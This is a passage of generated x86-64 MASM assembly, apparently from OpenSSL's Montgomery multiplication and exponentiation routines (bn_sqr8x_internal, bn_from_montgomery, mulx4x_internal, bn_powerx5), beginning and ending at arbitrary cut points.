jmp $L$sqr4x_outer
ALIGN 32
$L$sqr4x_outer::
mov r14,QWORD PTR[((-32))+rbp*1+rsi]
lea rdi,QWORD PTR[((48+8))+r9*2+rsp]
mov rax,QWORD PTR[((-24))+rbp*1+rsi]
lea rdi,QWORD PTR[((-32))+rbp*1+rdi]
mov rbx,QWORD PTR[((-16))+rbp*1+rsi]
mov r15,rax
mul r14
mov r10,QWORD PTR[((-24))+rbp*1+rdi]
add r10,rax
mov rax,rbx
adc rdx,0
mov QWORD PTR[((-24))+rbp*1+rdi],r10
mov r11,rdx
mul r14
add r11,rax
mov rax,rbx
adc rdx,0
add r11,QWORD PTR[((-16))+rbp*1+rdi]
mov r10,rdx
adc r10,0
mov QWORD PTR[((-16))+rbp*1+rdi],r11
xor r12,r12
mov rbx,QWORD PTR[((-8))+rbp*1+rsi]
mul r15
add r12,rax
mov rax,rbx
adc rdx,0
add r12,QWORD PTR[((-8))+rbp*1+rdi]
mov r13,rdx
adc r13,0
mul r14
add r10,rax
mov rax,rbx
adc rdx,0
add r10,r12
mov r11,rdx
adc r11,0
mov QWORD PTR[((-8))+rbp*1+rdi],r10
lea rcx,QWORD PTR[rbp]
jmp $L$sqr4x_inner
ALIGN 32
$L$sqr4x_inner::
mov rbx,QWORD PTR[rcx*1+rsi]
mul r15
add r13,rax
mov rax,rbx
mov r12,rdx
adc r12,0
add r13,QWORD PTR[rcx*1+rdi]
adc r12,0
DB 067h
mul r14
add r11,rax
mov rax,rbx
mov rbx,QWORD PTR[8+rcx*1+rsi]
mov r10,rdx
adc r10,0
add r11,r13
adc r10,0
mul r15
add r12,rax
mov QWORD PTR[rcx*1+rdi],r11
mov rax,rbx
mov r13,rdx
adc r13,0
add r12,QWORD PTR[8+rcx*1+rdi]
lea rcx,QWORD PTR[16+rcx]
adc r13,0
mul r14
add r10,rax
mov rax,rbx
adc rdx,0
add r10,r12
mov r11,rdx
adc r11,0
mov QWORD PTR[((-8))+rcx*1+rdi],r10
cmp rcx,0
jne $L$sqr4x_inner
DB 067h
mul r15
add r13,rax
adc rdx,0
add r13,r11
adc rdx,0
mov QWORD PTR[rdi],r13
mov r12,rdx
mov QWORD PTR[8+rdi],rdx
add rbp,16
jnz $L$sqr4x_outer
mov r14,QWORD PTR[((-32))+rsi]
lea rdi,QWORD PTR[((48+8))+r9*2+rsp]
mov rax,QWORD PTR[((-24))+rsi]
lea rdi,QWORD PTR[((-32))+rbp*1+rdi]
mov rbx,QWORD PTR[((-16))+rsi]
mov r15,rax
mul r14
add r10,rax
mov rax,rbx
mov r11,rdx
adc r11,0
mul r14
add r11,rax
mov rax,rbx
mov QWORD PTR[((-24))+rdi],r10
mov r10,rdx
adc r10,0
add r11,r13
mov rbx,QWORD PTR[((-8))+rsi]
adc r10,0
mul r15
add r12,rax
mov rax,rbx
mov QWORD PTR[((-16))+rdi],r11
mov r13,rdx
adc r13,0
mul r14
add r10,rax
mov rax,rbx
mov r11,rdx
adc r11,0
add r10,r12
adc r11,0
mov QWORD PTR[((-8))+rdi],r10
mul r15
add r13,rax
mov rax,QWORD PTR[((-16))+rsi]
adc rdx,0
add r13,r11
adc rdx,0
mov QWORD PTR[rdi],r13
mov r12,rdx
mov QWORD PTR[8+rdi],rdx
mul rbx
add rbp,16
xor r14,r14
sub rbp,r9
xor r15,r15
add rax,r12
adc rdx,0
mov QWORD PTR[8+rdi],rax
mov QWORD PTR[16+rdi],rdx
mov QWORD PTR[24+rdi],r15
mov rax,QWORD PTR[((-16))+rbp*1+rsi]
lea rdi,QWORD PTR[((48+8))+rsp]
xor r10,r10
mov r11,QWORD PTR[8+rdi]
lea r12,QWORD PTR[r10*2+r14]
shr r10,63
lea r13,QWORD PTR[r11*2+rcx]
shr r11,63
or r13,r10
mov r10,QWORD PTR[16+rdi]
mov r14,r11
mul rax
neg r15
mov r11,QWORD PTR[24+rdi]
adc r12,rax
mov rax,QWORD PTR[((-8))+rbp*1+rsi]
mov QWORD PTR[rdi],r12
adc r13,rdx
lea rbx,QWORD PTR[r10*2+r14]
mov QWORD PTR[8+rdi],r13
sbb r15,r15
shr r10,63
lea r8,QWORD PTR[r11*2+rcx]
shr r11,63
or r8,r10
mov r10,QWORD PTR[32+rdi]
mov r14,r11
mul rax
neg r15
mov r11,QWORD PTR[40+rdi]
adc rbx,rax
mov rax,QWORD PTR[rbp*1+rsi]
mov QWORD PTR[16+rdi],rbx
adc r8,rdx
lea rbp,QWORD PTR[16+rbp]
mov QWORD PTR[24+rdi],r8
sbb r15,r15
lea rdi,QWORD PTR[64+rdi]
jmp $L$sqr4x_shift_n_add
ALIGN 32
$L$sqr4x_shift_n_add::
lea r12,QWORD PTR[r10*2+r14]
shr r10,63
lea r13,QWORD PTR[r11*2+rcx]
shr r11,63
or r13,r10
mov r10,QWORD PTR[((-16))+rdi]
mov r14,r11
mul rax
neg r15
mov r11,QWORD PTR[((-8))+rdi]
adc r12,rax
mov rax,QWORD PTR[((-8))+rbp*1+rsi]
mov QWORD PTR[((-32))+rdi],r12
adc r13,rdx
lea rbx,QWORD PTR[r10*2+r14]
mov QWORD PTR[((-24))+rdi],r13
sbb r15,r15
shr r10,63
lea r8,QWORD PTR[r11*2+rcx]
shr r11,63
or r8,r10
mov r10,QWORD PTR[rdi]
mov r14,r11
mul rax
neg r15
mov r11,QWORD PTR[8+rdi]
adc rbx,rax
mov rax,QWORD PTR[rbp*1+rsi]
mov QWORD PTR[((-16))+rdi],rbx
adc r8,rdx
lea r12,QWORD PTR[r10*2+r14]
mov QWORD PTR[((-8))+rdi],r8
sbb r15,r15
shr r10,63
lea r13,QWORD PTR[r11*2+rcx]
shr r11,63
or r13,r10
mov r10,QWORD PTR[16+rdi]
mov r14,r11
mul rax
neg r15
mov r11,QWORD PTR[24+rdi]
adc r12,rax
mov rax,QWORD PTR[8+rbp*1+rsi]
mov QWORD PTR[rdi],r12
adc r13,rdx
lea rbx,QWORD PTR[r10*2+r14]
mov QWORD PTR[8+rdi],r13
sbb r15,r15
shr r10,63
lea r8,QWORD PTR[r11*2+rcx]
shr r11,63
or r8,r10
mov r10,QWORD PTR[32+rdi]
mov r14,r11
mul rax
neg r15
mov r11,QWORD PTR[40+rdi]
adc rbx,rax
mov rax,QWORD PTR[16+rbp*1+rsi]
mov QWORD PTR[16+rdi],rbx
adc r8,rdx
mov QWORD PTR[24+rdi],r8
sbb r15,r15
lea rdi,QWORD PTR[64+rdi]
add rbp,32
jnz $L$sqr4x_shift_n_add
lea r12,QWORD PTR[r10*2+r14]
DB 067h
shr r10,63
lea r13,QWORD PTR[r11*2+rcx]
shr r11,63
or r13,r10
mov r10,QWORD PTR[((-16))+rdi]
mov r14,r11
mul rax
neg r15
mov r11,QWORD PTR[((-8))+rdi]
adc r12,rax
mov rax,QWORD PTR[((-8))+rsi]
mov QWORD PTR[((-32))+rdi],r12
adc r13,rdx
lea rbx,QWORD PTR[r10*2+r14]
mov QWORD PTR[((-24))+rdi],r13
sbb r15,r15
shr r10,63
lea r8,QWORD PTR[r11*2+rcx]
shr r11,63
or r8,r10
mul rax
neg r15
adc rbx,rax
adc r8,rdx
mov QWORD PTR[((-16))+rdi],rbx
mov QWORD PTR[((-8))+rdi],r8
DB 102,72,15,126,213
sqr8x_reduction::
xor rax,rax
lea rcx,QWORD PTR[r9*2+rbp]
lea rdx,QWORD PTR[((48+8))+r9*2+rsp]
mov QWORD PTR[((0+8))+rsp],rcx
lea rdi,QWORD PTR[((48+8))+r9*1+rsp]
mov QWORD PTR[((8+8))+rsp],rdx
neg r9
jmp $L$8x_reduction_loop
ALIGN 32
$L$8x_reduction_loop::
lea rdi,QWORD PTR[r9*1+rdi]
DB 066h
mov rbx,QWORD PTR[rdi]
mov r9,QWORD PTR[8+rdi]
mov r10,QWORD PTR[16+rdi]
mov r11,QWORD PTR[24+rdi]
mov r12,QWORD PTR[32+rdi]
mov r13,QWORD PTR[40+rdi]
mov r14,QWORD PTR[48+rdi]
mov r15,QWORD PTR[56+rdi]
mov QWORD PTR[rdx],rax
lea rdi,QWORD PTR[64+rdi]
DB 067h
mov r8,rbx
imul rbx,QWORD PTR[((32+8))+rsp]
mov rax,QWORD PTR[rbp]
mov ecx,8
jmp $L$8x_reduce
ALIGN 32
$L$8x_reduce::
mul rbx
mov rax,QWORD PTR[16+rbp]
neg r8
mov r8,rdx
adc r8,0
mul rbx
add r9,rax
mov rax,QWORD PTR[32+rbp]
adc rdx,0
add r8,r9
mov QWORD PTR[((48-8+8))+rcx*8+rsp],rbx
mov r9,rdx
adc r9,0
mul rbx
add r10,rax
mov rax,QWORD PTR[48+rbp]
adc rdx,0
add r9,r10
mov rsi,QWORD PTR[((32+8))+rsp]
mov r10,rdx
adc r10,0
mul rbx
add r11,rax
mov rax,QWORD PTR[64+rbp]
adc rdx,0
imul rsi,r8
add r10,r11
mov r11,rdx
adc r11,0
mul rbx
add r12,rax
mov rax,QWORD PTR[80+rbp]
adc rdx,0
add r11,r12
mov r12,rdx
adc r12,0
mul rbx
add r13,rax
mov rax,QWORD PTR[96+rbp]
adc rdx,0
add r12,r13
mov r13,rdx
adc r13,0
mul rbx
add r14,rax
mov rax,QWORD PTR[112+rbp]
adc rdx,0
add r13,r14
mov r14,rdx
adc r14,0
mul rbx
mov rbx,rsi
add r15,rax
mov rax,QWORD PTR[rbp]
adc rdx,0
add r14,r15
mov r15,rdx
adc r15,0
dec ecx
jnz $L$8x_reduce
lea rbp,QWORD PTR[128+rbp]
xor rax,rax
mov rdx,QWORD PTR[((8+8))+rsp]
cmp rbp,QWORD PTR[((0+8))+rsp]
jae $L$8x_no_tail
DB 066h
add r8,QWORD PTR[rdi]
adc r9,QWORD PTR[8+rdi]
adc r10,QWORD PTR[16+rdi]
adc r11,QWORD PTR[24+rdi]
adc r12,QWORD PTR[32+rdi]
adc r13,QWORD PTR[40+rdi]
adc r14,QWORD PTR[48+rdi]
adc r15,QWORD PTR[56+rdi]
sbb rsi,rsi
mov rbx,QWORD PTR[((48+56+8))+rsp]
mov ecx,8
mov rax,QWORD PTR[rbp]
jmp $L$8x_tail
ALIGN 32
$L$8x_tail::
mul rbx
add r8,rax
mov rax,QWORD PTR[16+rbp]
mov QWORD PTR[rdi],r8
mov r8,rdx
adc r8,0
mul rbx
add r9,rax
mov rax,QWORD PTR[32+rbp]
adc rdx,0
add r8,r9
lea rdi,QWORD PTR[8+rdi]
mov r9,rdx
adc r9,0
mul rbx
add r10,rax
mov rax,QWORD PTR[48+rbp]
adc rdx,0
add r9,r10
mov r10,rdx
adc r10,0
mul rbx
add r11,rax
mov rax,QWORD PTR[64+rbp]
adc rdx,0
add r10,r11
mov r11,rdx
adc r11,0
mul rbx
add r12,rax
mov rax,QWORD PTR[80+rbp]
adc rdx,0
add r11,r12
mov r12,rdx
adc r12,0
mul rbx
add r13,rax
mov rax,QWORD PTR[96+rbp]
adc rdx,0
add r12,r13
mov r13,rdx
adc r13,0
mul rbx
add r14,rax
mov rax,QWORD PTR[112+rbp]
adc rdx,0
add r13,r14
mov r14,rdx
adc r14,0
mul rbx
mov rbx,QWORD PTR[((48-16+8))+rcx*8+rsp]
add r15,rax
adc rdx,0
add r14,r15
mov rax,QWORD PTR[rbp]
mov r15,rdx
adc r15,0
dec ecx
jnz $L$8x_tail
lea rbp,QWORD PTR[128+rbp]
mov rdx,QWORD PTR[((8+8))+rsp]
cmp rbp,QWORD PTR[((0+8))+rsp]
jae $L$8x_tail_done
mov rbx,QWORD PTR[((48+56+8))+rsp]
neg rsi
mov rax,QWORD PTR[rbp]
adc r8,QWORD PTR[rdi]
adc r9,QWORD PTR[8+rdi]
adc r10,QWORD PTR[16+rdi]
adc r11,QWORD PTR[24+rdi]
adc r12,QWORD PTR[32+rdi]
adc r13,QWORD PTR[40+rdi]
adc r14,QWORD PTR[48+rdi]
adc r15,QWORD PTR[56+rdi]
sbb rsi,rsi
mov ecx,8
jmp $L$8x_tail
ALIGN 32
$L$8x_tail_done::
add r8,QWORD PTR[rdx]
adc r9,0
adc r10,0
adc r11,0
adc r12,0
adc r13,0
adc r14,0
adc r15,0
xor rax,rax
neg rsi
$L$8x_no_tail::
adc r8,QWORD PTR[rdi]
adc r9,QWORD PTR[8+rdi]
adc r10,QWORD PTR[16+rdi]
adc r11,QWORD PTR[24+rdi]
adc r12,QWORD PTR[32+rdi]
adc r13,QWORD PTR[40+rdi]
adc r14,QWORD PTR[48+rdi]
adc r15,QWORD PTR[56+rdi]
adc rax,0
mov rcx,QWORD PTR[((-16))+rbp]
xor rsi,rsi
DB 102,72,15,126,213
mov QWORD PTR[rdi],r8
mov QWORD PTR[8+rdi],r9
DB 102,73,15,126,217
mov QWORD PTR[16+rdi],r10
mov QWORD PTR[24+rdi],r11
mov QWORD PTR[32+rdi],r12
mov QWORD PTR[40+rdi],r13
mov QWORD PTR[48+rdi],r14
mov QWORD PTR[56+rdi],r15
lea rdi,QWORD PTR[64+rdi]
cmp rdi,rdx
jb $L$8x_reduction_loop
sub rcx,r15
lea rbx,QWORD PTR[r9*1+rdi]
adc rsi,rsi
mov rcx,r9
or rax,rsi
DB 102,72,15,126,207
xor rax,1
DB 102,72,15,126,206
lea rbp,QWORD PTR[rax*8+rbp]
sar rcx,3+2
jmp $L$sqr4x_sub
ALIGN 32
$L$sqr4x_sub::
DB 066h
mov r12,QWORD PTR[rbx]
mov r13,QWORD PTR[8+rbx]
sbb r12,QWORD PTR[rbp]
mov r14,QWORD PTR[16+rbx]
sbb r13,QWORD PTR[16+rbp]
mov r15,QWORD PTR[24+rbx]
lea rbx,QWORD PTR[32+rbx]
sbb r14,QWORD PTR[32+rbp]
mov QWORD PTR[rdi],r12
sbb r15,QWORD PTR[48+rbp]
lea rbp,QWORD PTR[64+rbp]
mov QWORD PTR[8+rdi],r13
mov QWORD PTR[16+rdi],r14
mov QWORD PTR[24+rdi],r15
lea rdi,QWORD PTR[32+rdi]
inc rcx
jnz $L$sqr4x_sub
mov r10,r9
neg r9
DB 0F3h,0C3h ;repret
bn_sqr8x_internal ENDP
PUBLIC bn_from_montgomery
ALIGN 32
bn_from_montgomery PROC PUBLIC
test DWORD PTR[48+rsp],7
jz bn_from_mont8x
xor eax,eax
DB 0F3h,0C3h ;repret
bn_from_montgomery ENDP
ALIGN 32
bn_from_mont8x PROC PRIVATE
mov QWORD PTR[8+rsp],rdi ;WIN64 prologue
mov QWORD PTR[16+rsp],rsi
mov rax,rsp
$L$SEH_begin_bn_from_mont8x::
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
mov rcx,r9
mov r8,QWORD PTR[40+rsp]
mov r9,QWORD PTR[48+rsp]
DB 067h
mov rax,rsp
push rbx
push rbp
push r12
push r13
push r14
push r15
lea rsp,QWORD PTR[((-40))+rsp]
movaps XMMWORD PTR[rsp],xmm6
movaps XMMWORD PTR[16+rsp],xmm7
DB 067h
mov r10d,r9d
shl r9d,3
shl r10d,3+2
neg r9
mov r8,QWORD PTR[r8]
lea r11,QWORD PTR[((-64))+r9*2+rsp]
sub r11,rsi
and r11,4095
cmp r10,r11
jb $L$from_sp_alt
sub rsp,r11
lea rsp,QWORD PTR[((-64))+r9*2+rsp]
jmp $L$from_sp_done
ALIGN 32
$L$from_sp_alt::
lea r10,QWORD PTR[((4096-64))+r9*2]
lea rsp,QWORD PTR[((-64))+r9*2+rsp]
sub r11,r10
mov r10,0
cmovc r11,r10
sub rsp,r11
$L$from_sp_done::
and rsp,-64
mov r10,r9
neg r9
mov QWORD PTR[32+rsp],r8
mov QWORD PTR[40+rsp],rax
$L$from_body::
mov r11,r9
lea rax,QWORD PTR[48+rsp]
pxor xmm0,xmm0
jmp $L$mul_by_1
ALIGN 32
$L$mul_by_1::
movdqu xmm1,XMMWORD PTR[rsi]
movdqu xmm2,XMMWORD PTR[16+rsi]
movdqu xmm3,XMMWORD PTR[32+rsi]
movdqa XMMWORD PTR[r9*1+rax],xmm0
movdqu xmm4,XMMWORD PTR[48+rsi]
movdqa XMMWORD PTR[16+r9*1+rax],xmm0
DB 048h,08dh,0b6h,040h,000h,000h,000h
movdqa XMMWORD PTR[rax],xmm1
movdqa XMMWORD PTR[32+r9*1+rax],xmm0
movdqa XMMWORD PTR[16+rax],xmm2
movdqa XMMWORD PTR[48+r9*1+rax],xmm0
movdqa XMMWORD PTR[32+rax],xmm3
movdqa XMMWORD PTR[48+rax],xmm4
lea rax,QWORD PTR[64+rax]
sub r11,64
jnz $L$mul_by_1
DB 102,72,15,110,207
DB 102,72,15,110,209
DB 067h
mov rbp,rcx
DB 102,73,15,110,218
mov r11d,DWORD PTR[((OPENSSL_ia32cap_P+8))]
and r11d,080100h
cmp r11d,080100h
jne $L$from_mont_nox
lea rdi,QWORD PTR[r9*1+rax]
call sqrx8x_reduction
pxor xmm0,xmm0
lea rax,QWORD PTR[48+rsp]
mov rsi,QWORD PTR[40+rsp]
jmp $L$from_mont_zero
ALIGN 32
$L$from_mont_nox::
call sqr8x_reduction
pxor xmm0,xmm0
lea rax,QWORD PTR[48+rsp]
mov rsi,QWORD PTR[40+rsp]
jmp $L$from_mont_zero
ALIGN 32
$L$from_mont_zero::
movdqa XMMWORD PTR[rax],xmm0
movdqa XMMWORD PTR[16+rax],xmm0
movdqa XMMWORD PTR[32+rax],xmm0
movdqa XMMWORD PTR[48+rax],xmm0
lea rax,QWORD PTR[64+rax]
sub r9,32
jnz $L$from_mont_zero
mov rax,1
mov r15,QWORD PTR[((-48))+rsi]
mov r14,QWORD PTR[((-40))+rsi]
mov r13,QWORD PTR[((-32))+rsi]
mov r12,QWORD PTR[((-24))+rsi]
mov rbp,QWORD PTR[((-16))+rsi]
mov rbx,QWORD PTR[((-8))+rsi]
lea rsp,QWORD PTR[rsi]
$L$from_epilogue::
mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue
mov rsi,QWORD PTR[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_bn_from_mont8x::
bn_from_mont8x ENDP
ALIGN 32
bn_mulx4x_mont_gather5 PROC PRIVATE
mov QWORD PTR[8+rsp],rdi ;WIN64 prologue
mov QWORD PTR[16+rsp],rsi
mov rax,rsp
$L$SEH_begin_bn_mulx4x_mont_gather5::
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
mov rcx,r9
mov r8,QWORD PTR[40+rsp]
mov r9,QWORD PTR[48+rsp]
$L$mulx4x_enter::
DB 067h
mov rax,rsp
push rbx
push rbp
push r12
push r13
push r14
push r15
lea rsp,QWORD PTR[((-40))+rsp]
movaps XMMWORD PTR[rsp],xmm6
movaps XMMWORD PTR[16+rsp],xmm7
DB 067h
mov r10d,r9d
shl r9d,3
shl r10d,3+2
neg r9
mov r8,QWORD PTR[r8]
lea r11,QWORD PTR[((-64))+r9*2+rsp]
sub r11,rsi
and r11,4095
cmp r10,r11
jb $L$mulx4xsp_alt
sub rsp,r11
lea rsp,QWORD PTR[((-64))+r9*2+rsp]
jmp $L$mulx4xsp_done
ALIGN 32
$L$mulx4xsp_alt::
lea r10,QWORD PTR[((4096-64))+r9*2]
lea rsp,QWORD PTR[((-64))+r9*2+rsp]
sub r11,r10
mov r10,0
cmovc r11,r10
sub rsp,r11
$L$mulx4xsp_done::
and rsp,-64
mov QWORD PTR[32+rsp],r8
mov QWORD PTR[40+rsp],rax
$L$mulx4x_body::
call mulx4x_internal
mov rsi,QWORD PTR[40+rsp]
mov rax,1
movaps xmm6,XMMWORD PTR[((-88))+rsi]
movaps xmm7,XMMWORD PTR[((-72))+rsi]
mov r15,QWORD PTR[((-48))+rsi]
mov r14,QWORD PTR[((-40))+rsi]
mov r13,QWORD PTR[((-32))+rsi]
mov r12,QWORD PTR[((-24))+rsi]
mov rbp,QWORD PTR[((-16))+rsi]
mov rbx,QWORD PTR[((-8))+rsi]
lea rsp,QWORD PTR[rsi]
$L$mulx4x_epilogue::
mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue
mov rsi,QWORD PTR[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_bn_mulx4x_mont_gather5::
bn_mulx4x_mont_gather5 ENDP
ALIGN 32
mulx4x_internal PROC PRIVATE
DB 04ch,089h,08ch,024h,008h,000h,000h,000h
DB 067h
neg r9
shl r9,5
lea r13,QWORD PTR[256+r9*1+rdx]
shr r9,5+5
mov r10d,DWORD PTR[56+rax]
sub r9,1
mov QWORD PTR[((16+8))+rsp],r13
mov QWORD PTR[((24+8))+rsp],r9
mov QWORD PTR[((56+8))+rsp],rdi
mov r11,r10
shr r10,3
and r11,7
not r10
lea rax,QWORD PTR[$L$magic_masks]
and r10,3
lea rdi,QWORD PTR[96+r11*8+rdx]
movq xmm4,QWORD PTR[r10*8+rax]
movq xmm5,QWORD PTR[8+r10*8+rax]
add r11,7
movq xmm6,QWORD PTR[16+r10*8+rax]
movq xmm7,QWORD PTR[24+r10*8+rax]
and r11,7
movq xmm0,QWORD PTR[((-96))+rdi]
lea rbx,QWORD PTR[256+rdi]
movq xmm1,QWORD PTR[((-32))+rdi]
pand xmm0,xmm4
movq xmm2,QWORD PTR[32+rdi]
pand xmm1,xmm5
movq xmm3,QWORD PTR[96+rdi]
pand xmm2,xmm6
por xmm0,xmm1
movq xmm1,QWORD PTR[((-96))+rbx]
pand xmm3,xmm7
por xmm0,xmm2
movq xmm2,QWORD PTR[((-32))+rbx]
por xmm0,xmm3
DB 067h,067h
pand xmm1,xmm4
movq xmm3,QWORD PTR[32+rbx]
DB 102,72,15,126,194
movq xmm0,QWORD PTR[96+rbx]
lea rdi,QWORD PTR[512+rdi]
pand xmm2,xmm5
DB 067h,067h
pand xmm3,xmm6
lea rbx,QWORD PTR[((64+32+8))+r11*8+rsp]
mov r9,rdx
mulx rax,r8,QWORD PTR[rsi]
mulx r12,r11,QWORD PTR[8+rsi]
add r11,rax
mulx r13,rax,QWORD PTR[16+rsi]
adc r12,rax
adc r13,0
mulx r14,rax,QWORD PTR[24+rsi]
mov r15,r8
imul r8,QWORD PTR[((32+8))+rsp]
xor rbp,rbp
mov rdx,r8
por xmm1,xmm2
pand xmm0,xmm7
por xmm1,xmm3
mov QWORD PTR[((8+8))+rsp],rdi
por xmm0,xmm1
DB 048h,08dh,0b6h,020h,000h,000h,000h
adcx r13,rax
adcx r14,rbp
mulx r10,rax,QWORD PTR[rcx]
adcx r15,rax
adox r10,r11
mulx r11,rax,QWORD PTR[16+rcx]
adcx r10,rax
adox r11,r12
mulx r12,rax,QWORD PTR[32+rcx]
mov rdi,QWORD PTR[((24+8))+rsp]
DB 066h
mov QWORD PTR[((-32))+rbx],r10
adcx r11,rax
adox r12,r13
mulx r15,rax,QWORD PTR[48+rcx]
DB 067h,067h
mov rdx,r9
mov QWORD PTR[((-24))+rbx],r11
adcx r12,rax
adox r15,rbp
DB 048h,08dh,089h,040h,000h,000h,000h
mov QWORD PTR[((-16))+rbx],r12
ALIGN 32
$L$mulx4x_1st::
adcx r15,rbp
mulx rax,r10,QWORD PTR[rsi]
adcx r10,r14
mulx r14,r11,QWORD PTR[8+rsi]
adcx r11,rax
mulx rax,r12,QWORD PTR[16+rsi]
adcx r12,r14
mulx r14,r13,QWORD PTR[24+rsi]
DB 067h,067h
mov rdx,r8
adcx r13,rax
adcx r14,rbp
lea rsi,QWORD PTR[32+rsi]
lea rbx,QWORD PTR[32+rbx]
adox r10,r15
mulx r15,rax,QWORD PTR[rcx]
adcx r10,rax
adox r11,r15
mulx r15,rax,QWORD PTR[16+rcx]
adcx r11,rax
adox r12,r15
mulx r15,rax,QWORD PTR[32+rcx]
mov QWORD PTR[((-40))+rbx],r10
adcx r12,rax
mov QWORD PTR[((-32))+rbx],r11
adox r13,r15
mulx r15,rax,QWORD PTR[48+rcx]
mov rdx,r9
mov QWORD PTR[((-24))+rbx],r12
adcx r13,rax
adox r15,rbp
lea rcx,QWORD PTR[64+rcx]
mov QWORD PTR[((-16))+rbx],r13
dec rdi
jnz $L$mulx4x_1st
mov rax,QWORD PTR[8+rsp]
DB 102,72,15,126,194
adc r15,rbp
lea rsi,QWORD PTR[rax*1+rsi]
add r14,r15
mov rdi,QWORD PTR[((8+8))+rsp]
adc rbp,rbp
mov QWORD PTR[((-8))+rbx],r14
jmp $L$mulx4x_outer
ALIGN 32
$L$mulx4x_outer::
mov QWORD PTR[rbx],rbp
lea rbx,QWORD PTR[32+rax*1+rbx]
mulx r11,r8,QWORD PTR[rsi]
xor rbp,rbp
mov r9,rdx
mulx r12,r14,QWORD PTR[8+rsi]
adox r8,QWORD PTR[((-32))+rbx]
adcx r11,r14
mulx r13,r15,QWORD PTR[16+rsi]
adox r11,QWORD PTR[((-24))+rbx]
adcx r12,r15
mulx r14,rdx,QWORD PTR[24+rsi]
adox r12,QWORD PTR[((-16))+rbx]
adcx r13,rdx
lea rcx,QWORD PTR[rax*2+rcx]
lea rsi,QWORD PTR[32+rsi]
adox r13,QWORD PTR[((-8))+rbx]
adcx r14,rbp
adox r14,rbp
DB 067h
mov r15,r8
imul r8,QWORD PTR[((32+8))+rsp]
movq xmm0,QWORD PTR[((-96))+rdi]
DB 067h,067h
mov rdx,r8
movq xmm1,QWORD PTR[((-32))+rdi]
DB 067h
pand xmm0,xmm4
movq xmm2,QWORD PTR[32+rdi]
DB 067h
pand xmm1,xmm5
movq xmm3,QWORD PTR[96+rdi]
add rdi,256
DB 067h
pand xmm2,xmm6
por xmm0,xmm1
pand xmm3,xmm7
xor rbp,rbp
mov QWORD PTR[((8+8))+rsp],rdi
mulx r10,rax,QWORD PTR[rcx]
adcx r15,rax
adox r10,r11
mulx r11,rax,QWORD PTR[16+rcx]
adcx r10,rax
adox r11,r12
mulx r12,rax,QWORD PTR[32+rcx]
adcx r11,rax
adox r12,r13
mulx r15,rax,QWORD PTR[48+rcx]
mov rdx,r9
por xmm0,xmm2
mov rdi,QWORD PTR[((24+8))+rsp]
mov QWORD PTR[((-32))+rbx],r10
por xmm0,xmm3
adcx r12,rax
mov QWORD PTR[((-24))+rbx],r11
adox r15,rbp
mov QWORD PTR[((-16))+rbx],r12
lea rcx,QWORD PTR[64+rcx]
jmp $L$mulx4x_inner
ALIGN 32
$L$mulx4x_inner::
mulx rax,r10,QWORD PTR[rsi]
adcx r15,rbp
adox r10,r14
mulx r14,r11,QWORD PTR[8+rsi]
adcx r10,QWORD PTR[rbx]
adox r11,rax
mulx rax,r12,QWORD PTR[16+rsi]
adcx r11,QWORD PTR[8+rbx]
adox r12,r14
mulx r14,r13,QWORD PTR[24+rsi]
mov rdx,r8
adcx r12,QWORD PTR[16+rbx]
adox r13,rax
adcx r13,QWORD PTR[24+rbx]
adox r14,rbp
lea rsi,QWORD PTR[32+rsi]
lea rbx,QWORD PTR[32+rbx]
adcx r14,rbp
adox r10,r15
mulx r15,rax,QWORD PTR[rcx]
adcx r10,rax
adox r11,r15
mulx r15,rax,QWORD PTR[16+rcx]
adcx r11,rax
adox r12,r15
mulx r15,rax,QWORD PTR[32+rcx]
mov QWORD PTR[((-40))+rbx],r10
adcx r12,rax
adox r13,r15
mov QWORD PTR[((-32))+rbx],r11
mulx r15,rax,QWORD PTR[48+rcx]
mov rdx,r9
lea rcx,QWORD PTR[64+rcx]
mov QWORD PTR[((-24))+rbx],r12
adcx r13,rax
adox r15,rbp
mov QWORD PTR[((-16))+rbx],r13
dec rdi
jnz $L$mulx4x_inner
mov rax,QWORD PTR[((0+8))+rsp]
DB 102,72,15,126,194
adc r15,rbp
sub rdi,QWORD PTR[rbx]
mov rdi,QWORD PTR[((8+8))+rsp]
mov r10,QWORD PTR[((16+8))+rsp]
adc r14,r15
lea rsi,QWORD PTR[rax*1+rsi]
adc rbp,rbp
mov QWORD PTR[((-8))+rbx],r14
cmp rdi,r10
jb $L$mulx4x_outer
mov r10,QWORD PTR[((-16))+rcx]
xor r15,r15
sub r10,r14
adc r15,r15
or rbp,r15
xor rbp,1
lea rdi,QWORD PTR[rax*1+rbx]
lea rcx,QWORD PTR[rax*2+rcx]
DB 067h,067h
sar rax,3+2
lea rbp,QWORD PTR[rbp*8+rcx]
mov rdx,QWORD PTR[((56+8))+rsp]
mov rcx,rax
jmp $L$sqrx4x_sub
mulx4x_internal ENDP
ALIGN 32
bn_powerx5 PROC PRIVATE
mov QWORD PTR[8+rsp],rdi ;WIN64 prologue
mov QWORD PTR[16+rsp],rsi
mov rax,rsp
$L$SEH_begin_bn_powerx5::
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
mov rcx,r9
mov r8,QWORD PTR[40+rsp]
mov r9,QWORD PTR[48+rsp]
$L$powerx5_enter::
DB 067h
mov rax,rsp
push rbx
push rbp
push r12
push r13
push r14
push r15
lea rsp,QWORD PTR[((-40))+rsp]
movaps XMMWORD PTR[rsp],xmm6
movaps XMMWORD PTR[16+rsp],xmm7
DB 067h
mov r10d,r9d
shl r9d,3
shl r10d,3+2
neg r9
mov r8,QWORD PTR[r8]
lea r11,QWORD PTR[((-64))+r9*2+rsp]
sub r11,rsi
and r11,4095
cmp r10,r11
jb $L$pwrx_sp_alt
sub rsp,r11
lea rsp,QWORD PTR[((-64))+r9*2+rsp]
jmp $L$pwrx_sp_done
ALIGN 32
$L$pwrx_sp_alt::
lea r10,QWORD PTR[((4096-64))+r9*2]
lea rsp,QWORD PTR[((-64))+r9*2+rsp]
sub r11,r10
mov r10,0
cmovc r11,r10
sub rsp,r11
$L$pwrx_sp_done::
and rsp,-64
mov r10,r9
neg r9
pxor xmm0,xmm0
DB 102,72,15,110,207
DB 102,72,15,110,209
DB 102,73,15,110,218
DB 102,72,15,110,226
mov QWORD PTR[32+rsp],r8
mov QWORD PTR[40+rsp],rax
$L$powerx5_body::
call __bn_sqrx8x_internal
call __bn_sqrx8x_internal
